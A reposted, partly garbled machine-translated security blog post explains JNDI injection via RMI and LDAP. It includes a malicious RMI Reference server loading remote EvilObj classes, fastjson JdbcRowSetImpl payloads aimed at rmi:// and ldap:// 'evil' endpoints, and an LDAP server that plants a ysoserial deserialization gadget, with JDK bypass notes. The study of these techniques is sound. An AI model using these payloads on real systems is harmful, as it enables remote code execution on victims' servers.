当前位置:网站首页>JNDI and RMI, LDAP

JNDI and RMI, LDAP

2022-08-10 17:18:00 HhhM

JNDI与RMI、LDAP

2022-02-18 04:02:00
java - jndi

Concepts of JNDI

JNDI 全名 Java Naming and Directory Interface,In fact, it is simply an interface,The application accesses the corresponding directory service through this interface.好吧,First understand what a directory service is.

JNDI分为了Naming和Directory,Corresponding naming service and directory service.

所谓Naming-命名服务,常见的有如DNS,In a word, in fact, we can get the corresponding object according to a specific name.

所谓Directory-目录服务,As often seen in deserializationldapIt is one of the directory services,In fact, the directory service can be understood as an extension of the name service.

Review what I have writtenRMI攻击方式[1]

在编写一个Server和RegistryI choose to place them together,And actually play in the codeserver作用的是:

Naming.bind("rmi://127.0.0.1:1099/hell",helloR);

毫无疑问,As a naming service, you first need to bind objects to a name,也就是所谓的Bindings,The reason why the directory service is an extension of the naming service is that the directory service can also search for objects through attributes.

JNDI到底是什么,实际上是java的一个api,通过JNDIYou can operate on different directory systems,will be different directory systems(如RMI和LDAP)Put it into a unified interface for easy use,Its overall structure can be seenoracle官方文档[2]Figure given in:

There is one more layer on top of the directory systemSPI是什么?与API有和关系?

SPI(Service Provider Interface),即服务供应接口 APIYes you can call or use the class/接口/means to accomplish a goal. SPIIs that you need to inherit or implement certain classes/接口/means to accomplish a goal. 换句话说,APIdeveloped class/What methods can do,而SPITells you what specs you have to meet. 有时候SPI和API互相重叠.例如JDBC驱动类是SPI的一部分:If you just want to use itJDBC驱动,You don't need to implement this class,But if you want to achieveJdBCThe driver must implement this class.

其中JDKThe default built-in is as followsSPI:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

同时JNDI分为了5个包:

See RMI and know others

SPIBelow the layers are available for us to useLDAP,RMI,CORBA,Relatively speaking, I am forRMIThere is a lot of relevant knowledge,Since they belong to the sameSPI下的东西,Then it should be roughly the same,因此我从RMI切入,窥RMIAnd know other.

RMI的介绍看[1],本文建立在对RMIThere are certain prerequisites.

Just looking at the code is better than a whole bunch of explanations,首先是Server和Register:

//Register
Registry registry = LocateRegistry.createRegistry(1099);
//Server
String FactoryURL = "http://localhost:18888/";
Reference reference = new Reference("EvilObj","EvilObj",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);

Register没有变化,server用Referenceinstead of what we inherit fromUnicastRemoteObject的实现类,No instantiation is required at the same time.

Client:

//Client
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("Foo");

The client is basically the same,Objects are manipulated in several ways.

In this case, we need to focus on our control points,Controllable in most casesPROVIDER_URL,或者说是lookupInternally controllable,在服务器上放置EvilObj.classwill be called laterPROVIDER_URLUse it by pointing to the server.

例如fastjson中在1.2.22-1.2.24版本中的JdbcRowSetImplThe chain is through controllookupcontent to use,如下图:

其payload为:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/evil", "autoCommit":true}

The specific link will not be analyzed,主要是fastjson的autotype的缘故,且设置autoCommit为true时会走到connect调用到lookup.

fastjson还有另一个payload是利用ldap:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/evil", "autoCommit":true}

It will be found that in fact, only in terms of utilization,The only difference is the protocol and the malicious end that is specified to be turned on,而我们的payloadOnly the protocol header needs to be modified,同理对于CORBA有如:

iiop://127.0.0.1:1099/evil

不过CORBAutilization needsSecurityManager启用,And need to configure rules,So we mainly talk about it laterrmi和ldap.

与常规的rmiThe difference is what we are doing hereReferenceobject instead of directly operating on remote class objects,这样就是JNDI对于RMI或者说是SPIimplementation under the layer,通过返回Reference的方式,由JNDIUnified to load the specified addressobj,While loading will go from the local firstCLASSPATH查找EvilObj,When not found, it will go to the specified addresshttp://localhost:18888/EvilObj.class中去加载,有前提条件:com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase为true.

Back to the vulnerability level,在client端发起lookup后,通过层层调用,在RMI Registry获取到绑定的obj,然后在javax.naming.spi.NamingManager#getObjectFactoryFromReference函数最后return了如下:

(clas != null) ? (ObjectFactory) clas.newInstance() : null;

此处的cls也就是我们的factory—EvilObj,此时会调用到EvilObjThe constructor achieves a whole utilization,

LDAP

在JDK8u113以及JDK6u132, JDK7u122in for twotrustURLCodebaseThe values ​​are set by default to false,There are two different ways of bypassing this:

  • 利用本地Factory类绕过,有Tomcat和SpringBootand other chains,参考[6].
  • 利用ldap协议绕过.

Please refer to the first point for details[4],I mainly talk aboutldap.

Ldap是一种目录服务,轻量级目录访问协议(The Lightweight Directory Access Protocol),不仅仅在java中,It also exists elsewhere,ldapHas some unique mechanics,例如索引,属性等,同时java对象在ldapThere are also a variety of storage forms,Among them, the most noteworthy isSerializedData以及JNDI Reference,而存储的javaObjects can be placed with properties:

  • ObjectClass
  • javaCodebase
  • JavaFactory
  • javaClassName

为方便,直接利用https://github.com/welk1n/JNDI-Injection-Exploit/做调试,Put a breakpoint on the client,跟入到:com.sun.jndi.ldap.Obj#decodeObjectWhen the above four properties can be found:

These four properties are obtained from the serverEntry中得到的,will be extracted laterjavaClassNamejavaFactorythese two properties and generate oneReference,最后交由javax.naming.spi.NamingManager#getObjectFactoryFromReference来处理,并且将classFactoryLocation赋值给了codebase,最后从codebase中加载factoryclass and perform initialization resulting in exploit of vulnerability:

在高版本 JDK,如 11.0.18u1917u2016u211 Version added forldap的codebase的限制,So in addition to usingrefoutside of the way of use,还可以利用SerializedData,同样位于com.sun.jndi.ldap.Obj#decodeObject,There is another branch:

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
  //javaSerializedData
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

So you only need to get itEntry中添加javaSerializedDatafield to enter the branch,So how to implement it?

[7]Mentioned in an unpretentious technique:

用LDAP ServerWhen doing well-known ports,rebind()The internal implementation of is willObjectplaced after serialization”javaSerializedData”属性中,lookup()则对”javaSerializedData”The value of the property is deserialized,就这么设计的.

因此在实现ldapThe malicious side only needs to start a normal one firstldap服务:

public class LDAPSeriServer {

    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) throws IOException {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行rebind服务:

public class LDAPSeriServerSerData {
    public static void main(String[] args) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL,
                "ldap://127.0.0.1:1389/dc=example,dc=com");
        String payloadType = "CommonsCollections7";
        String payloadArg = "open /System/Applications/Calculator.app";
        //yso中获取payload的Object对象的方法
        Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
        Context ctx     = new InitialContext(env);
        ctx.rebind("foo=any", payloadObject);
    }

}

执行clientachieve utilization:

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL,
                "ldap://127.0.0.1:1389/dc=example,dc=com");
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        Context ctx = new InitialContext(env);
        Object object =  ctx.lookup("foo=any");
    }
}

This utilization process is relative to the previous onecodebaseThe disadvantage is that it needs to be locally availablegadget,但在JDK 11.0.1、8u191、7u201、6u211之后由于com.sun.jndi.ldap.object.trustURLCodebaseAlso set by defaultfalse,At this time only select useSerializedData的方式.

总结

在JNDI注入中

就RMI而言:

  • 在JDK8u113以及JDK6u132, JDK7u122版本以下,可以使用JNDI + RMI lookup Reference的利用方式.
  • 在JDK8u113以及JDK6u132, JDK7u122之后的版本,Existence is availablegadget的本地Factory类,具体可看[6].

就LDAP而言:

  • 11.0.18u1917u2016u211 版本以下,可以使用JNDI + LDAP lookup Reference的利用方式.
  • 11.0.18u1917u2016u211 之后的版本,可以使用javaSerializedData的利用方式.

Ref

[1]https://www.anquanke.com/post/id/263726

[2]https://docs.oracle.com/javase/tutorial/jndi/overview/

[3]https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[4]https://paper.seebug.org/942/#classreference-factory

[5]https://www.jianshu.com/p/776c56fc3a80

[6]https://tttang.com/archive/1405/

[7]http://blog.nsfocus.net/ldap-0521/

本文原创于HhhM的博客,转载请标明出处.

原网站

版权声明
本文为[HhhM]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/222/202208101649462726.html